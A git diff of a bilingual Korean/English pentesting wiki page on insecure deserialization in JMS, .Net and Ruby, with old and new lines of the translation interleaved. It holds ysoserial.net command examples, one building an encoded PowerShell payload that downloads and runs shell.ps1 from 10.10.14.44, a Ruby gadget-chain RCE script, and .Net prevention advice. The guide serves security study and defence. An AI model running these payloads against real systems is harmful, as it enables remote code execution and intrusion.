- gadgetinspector에 대한 강의: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 및 슬라이드: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec 논문: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강의: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI 인젝션 및 log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
|
||||
|
||||
**JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**에 대한 내용은 다음 페이지에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
{{#endref}}
|
||||
|
||||
## JMS - Java 메시지 서비스
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE 기반의 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### 제품
|
||||
### Products
|
||||
|
||||
이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:
|
||||
There are several products using this middleware to send messages:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
### 악용
|
||||
### Exploitation
|
||||
|
||||
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있는 경우(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악성 객체를 직렬화하여 전송할 수 있습니다**.\
|
||||
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다.
|
||||
즉, 많은 서비스들이 위험한 방식으로 JMS를 사용하고 있습니다. 따라서 이 서비스들에 메시지를 보낼 수 있는 충분한 권한(일반적으로 유효한 자격증명이 필요함)이 있다면, consumer/subscriber가 deserialized 할 malicious objects serialized 를 보낼 수 있습니다.\
|
||||
이 공격은 해당 메시지를 사용할 모든 클라이언트가 감염될 수 있음을 의미합니다.
|
||||
|
||||
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위해 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
|
||||
서비스가 취약하더라도(사용자 입력을 안전하지 않게 deserializing 하기 때문에) 취약점을 악용하려면 유효한 gadgets 를 찾아야 한다는 점을 기억하세요.
|
||||
|
||||
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악성 객체를 직렬화하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 익스플로잇은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있는 경우에 작동합니다.
|
||||
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 이러한 서비스에 연결하여 알려진 gadgets 를 사용해 여러 malicious objects serialized 를 전송함으로써 공격하도록 만들어졌습니다. 이 익스플로잇들은 서비스가 여전히 취약하고 사용된 gadgets 중 하나라도 취약한 애플리케이션에 포함되어 있다면 작동합니다.
|
||||
|
||||
### 참고 문헌
|
||||
### References
|
||||
|
||||
- [Patchstack advisory – Everest Forms 인증되지 않은 PHP 객체 주입 (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- JMET 강의: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- 슬라이드: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
.Net의 맥락에서 역직렬화 익스플로잇은 Java에서 발견되는 것과 유사한 방식으로 작동하며, 가젯을 악용하여 객체의 역직렬화 중에 특정 코드를 실행합니다.
|
||||
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
|
||||
|
||||
### 지문
|
||||
### Fingerprint
|
||||
|
||||
#### 화이트박스
|
||||
#### WhiteBox
|
||||
|
||||
소스 코드를 검사하여 다음 항목의 발생 여부를 확인해야 합니다:
|
||||
소스 코드를 검사하여 다음 항목의 출현을 찾아야 합니다:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
사용자 제어 변수에 의해 유형이 결정될 수 있는 직렬화기에 초점을 맞춰야 합니다.
|
||||
사용자가 제어하는 변수로 타입이 결정되게 허용하는 serializers 에 주의를 기울이세요.
|
||||
|
||||
#### 블랙박스
|
||||
#### BlackBox
|
||||
|
||||
서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 검색해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 또는 **XML** 구조가 포함될 수 있습니다.
|
||||
서버 측에서 deserialization 될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 찾으십시오. 이는 deserialized 할 타입에 대한 제어를 제공할 수 있습니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조 등이 포함될 수 있습니다.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 익스플로잇을 생성**할 수 있습니다. Git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일**해야 합니다.
|
||||
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 을 사용하여 **deserialization exploits** 를 생성할 수 있습니다. Git 리포지토리를 다운로드한 후에는 예를 들어 Visual Studio 를 사용해 **도구를 컴파일** 해야 합니다.
|
||||
|
||||
**ysoserial.net이 익스플로잇을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
**ysoserial.net** 이 어떻게 exploit 을 만드는지 배우고 싶다면 [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter 가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
|
||||
**ysoserial.net** 의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 그리고 **`--plugin`** 입니다.
|
||||
|
||||
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
|
||||
- **`--formatter`**는 익스플로잇을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함).
|
||||
- **`--output`**는 익스플로잇을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로(Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 익스플로잇이 제대로 작동하지 않게 하는 **인코딩 호환성 문제**가 발생할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만 항상 작동한다는 의미는 아닙니다)._
|
||||
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 익스플로잇을 제작하기 위해 플러그인을 지원합니다**.
|
||||
- **`--gadget`** 은 악용할 gadget(deserialization 중 명령을 실행하도록 악용될 클래스/함수)을 지정하는 데 사용됩니다.
|
||||
- **`--formatter`** 는 익스플로잇을 직렬화할 방법을 지정하는 데 사용됩니다(백엔드가 페이로드를 deserializing 하는 데 사용하는 라이브러리를 알고 동일한 포맷터를 사용해야 합니다).
|
||||
- **`--output`** 은 익스플로잇을 **raw** 또는 **base64** 인코딩으로 출력할지 지정합니다. _참고로 **ysoserial.net** 은 페이로드를 기본적으로 Windows에서 사용되는 **UTF-16LE** 로 **인코딩** 하므로 raw 를 얻어 리눅스 콘솔에서 단순히 인코딩하면 인코딩 호환성 문제로 익스플로잇이 제대로 동작하지 않을 수 있습니다(HTB JSON box에서는 페이로드가 UTF-16LE와 ASCII 둘 다에서 작동했지만 항상 그렇다고는 할 수 없습니다)._
|
||||
- **`--plugin`** ysoserial.net 은 ViewState 같은 특정 프레임워크용 익스플로잇을 제작하기 위한 플러그인을 지원합니다.
|
||||
|
||||
#### 더 많은 ysoserial.net 매개변수
|
||||
#### More ysoserial.net parameters
|
||||
|
||||
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
|
||||
- `--raf -f Json.Net -c "anything"`는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
|
||||
- `--sf xml`는 **가젯**(`-g`)을 지정할 수 있으며 ysoserial.net은 "xml"이 포함된 포맷터를 검색합니다(대소문자 구분 없음).
|
||||
- `--minify` 는 가능한 경우 **더 작은 페이로드** 를 제공합니다.
|
||||
- `--raf -f Json.Net -c "anything"` 이는 제공된 formatter(`Json.Net` 이 경우)로 사용할 수 있는 모든 gadgets 를 표시합니다.
|
||||
- `--sf xml` 는 특정 gadget(`-g`)을 지정하면 ysoserial.net 이 "xml"을 포함하는 formatter들을(대소문자 구분 없이) 검색합니다.
|
||||
|
||||
**ysoserial 예제**를 통한 익스플로잇 생성:
|
||||
**ysoserial examples** to create exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -733,9 +761,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\
|
||||
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\
|
||||
이 매개변수는 코드 검토 시 다음과 같은 코드 조각을 찾을 수 있기 때문에 유용합니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net**에는 각 exploit가 어떻게 동작하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 파라미터**가 하나 더 있습니다: `--test`\
|
||||
이 파라미터를 지정하면 **ysoserial.net**이 **시도합니다** 해당 **exploit 로컬에서,** 그래서 payload가 제대로 작동하는지 테스트할 수 있습니다.\
|
||||
이 파라미터는 유용합니다. 코드를 검토하면 다음과 같은 코드 조각들을 찾을 수 있기 때문입니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -749,7 +777,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
이것은 익스플로잇을 테스트하기 위해 코드가 [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)를 호출할 것임을 의미합니다.
|
||||
이는 exploit을 테스트하기 위해 code가 [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)를 호출함을 의미한다.
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -760,46 +788,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
|
||||
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지를 이해하는 데 도움이 됩니다.
|
||||
위 예제 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 코드를 발견하면 해당 애플리케이션도 취약할 가능성이 큽니다.
|
||||
따라서 **`--test`** 파라미터를 사용하면 **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 대해 어떤 코드 조각들이 취약한지 파악할 수 있습니다.
|
||||
|
||||
### ViewState
|
||||
|
||||
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md)**. 임의의 코드를 실행하기 위해.** 만약 **피해자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
다음 포스트를 확인하세요: [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevention
|
||||
### 예방
|
||||
|
||||
.Net에서 역직렬화와 관련된 위험을 완화하기 위해:
|
||||
.Net에서 역직렬화와 관련된 위험을 완화하려면:
|
||||
|
||||
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능할 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
|
||||
- **`JSON.Net`의 경우 `TypeNameHandling`을 `None`으로 설정하십시오:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`와 `JavaScriptTypeResolver`를 사용하지 마십시오.**
|
||||
- **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
|
||||
- **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
|
||||
- **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
|
||||
- **`BinaryFormatter` 및 `JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
|
||||
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
|
||||
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
|
||||
- **데이터 스트림이 객체 타입을 정의하도록 허용하지 마십시오.** 가능하면 `DataContractSerializer` 또는 `XmlSerializer`를 사용하세요.
|
||||
- **`JSON.Net`의 경우 `TypeNameHandling`을 `None`으로 설정하세요:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`를 `JavaScriptTypeResolver`와 함께 사용하는 것을 피하세요.**
|
||||
- **역직렬화할 수 있는 타입을 제한하세요.** `System.IO.FileInfo`와 같은 .Net 타입은 서버 파일의 속성을 변경할 수 있어, 잠재적으로 denial of service attacks로 이어질 수 있는 고유한 위험이 있습니다.
|
||||
- **`Value` 같은 위험한 속성을 가진 타입에 주의하세요.** 예: `System.ComponentModel.DataAnnotations.ValidationException`의 `Value` 속성은 악용될 수 있습니다.
|
||||
- **타입 인스턴스화를 안전하게 제어하세요** — 그렇지 않으면 `DataContractSerializer`나 `XmlSerializer`도 취약해질 수 있습니다.
|
||||
- **화이트리스트 제어를 구현하세요** — `BinaryFormatter`와 `JSON.Net`에 대해 커스텀 `SerializationBinder`를 사용하세요.
|
||||
- **.Net 내 알려진 취약한 역직렬화 gadget들에 대해 정보를 유지하고**, deserializers가 이러한 타입을 인스턴스화하지 않도록 하세요.
|
||||
- **잠재적으로 위험한 코드를 인터넷 접근 코드와 분리하세요** — 예를 들어 WPF 애플리케이션의 `System.Windows.Data.ObjectDataProvider` 같은 알려진 gadget들이 신뢰할 수 없는 데이터 소스에 노출되지 않도록 합니다.
|
||||
|
||||
### **References**
|
||||
|
||||
- Java와 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 객체로 되돌리는 데 사용되며, 이를 역직렬화라고 합니다.
|
||||
Ruby에서 직렬화(serialization)는 **marshal** 라이브러리 내의 두 메서드로 수행됩니다. 첫 번째 메서드인 **dump**는 객체를 바이트 스트림으로 변환하는 데 사용되며, 이는 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 복원하는 데 사용되며, 이는 역직렬화라고 합니다.
|
||||
|
||||
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
|
||||
직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 신뢰성을 보장합니다. 이 목적에 사용되는 키는 다음 위치 중 하나에 저장될 수 있습니다:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -870,18 +898,18 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Ruby On Rails를 exploit하기 위한 다른 RCE 체인: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() 메서드
|
||||
|
||||
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
|
||||
이것은 [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명했듯이, 일부 사용자의 필터링되지 않은 입력이 ruby 객체의 `.send()` 메서드에 도달하면 이 메서드를 통해 객체의 다른 어떤 메서드든 어떤 매개변수로든 **호출할 수 있습니다**.
|
||||
|
||||
예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 임의의 코드를 실행할 수 있습니다:
|
||||
예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 arbitrary code를 실행할 수 있습니다:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 작성물에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
|
||||
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
|
||||
또한, 앞서의 writeup에서 언급한 것처럼 **`.send()`**의 파라미터 중 하나만 attacker에 의해 제어된다면, 인수가 **필요하지 않은** 또는 인수에 **기본값**이 설정된 객체의 어떤 메서드든 호출할 수 있다.\
|
||||
이를 위해 객체의 모든 메서드를 열거하여 **그러한 요구사항을 충족하는 흥미로운 메서드를 찾아낼 수 있다**.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -903,25 +931,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Ruby 클래스 오염
|
||||
### Ruby class pollution
|
||||
|
||||
[여기에서 Ruby 클래스를 오염시키고 악용하는 방법을 확인하세요](ruby-class-pollution.md).
|
||||
어떻게 [pollute a Ruby class and abuse it in here](ruby-class-pollution.md) 가능한지 확인하세요.
|
||||
|
||||
### Ruby _json 오염
|
||||
### Ruby _json pollution
|
||||
|
||||
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 예를 들어, 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회가 발생할 수 있습니다.
|
||||
요청 바디에 array처럼 hashable하지 않은 값들을 전송하면 이 값들은 `_json`이라는 새 키에 추가됩니다. 그러나 공격자는 바디에 `_json`이라는 값을 임의의 내용으로 직접 설정할 수도 있습니다. 예를 들어 백엔드가 어떤 파라미터의 진위 여부를 검사한 뒤에도 `_json` 파라미터를 사용해 특정 동작을 수행한다면, 권한 우회(authorisation bypass)가 발생할 수 있습니다.
|
